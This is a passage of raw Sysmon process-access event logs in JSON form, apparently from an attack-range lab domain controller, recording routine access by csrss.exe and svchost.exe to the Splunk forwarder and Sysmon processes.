11:50:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2163,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:05.437\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FED-5F2D-0000-00102F6C0300}\r\nTargetProcessId: 3736\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:05.437","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FED-5F2D-0000-00102F6C0300}","TargetProcessId":"3736","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2164,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:05.437\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:05.437","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2165,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:05.437\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:05.437","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2166,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:05.437\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:05.437","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2167,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:05.437\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:05.437","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2168,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:05.437\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:05.437","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2169,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:05.437\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:05.437","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2170,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:05.437\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:05.437","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2171,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:05.437\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 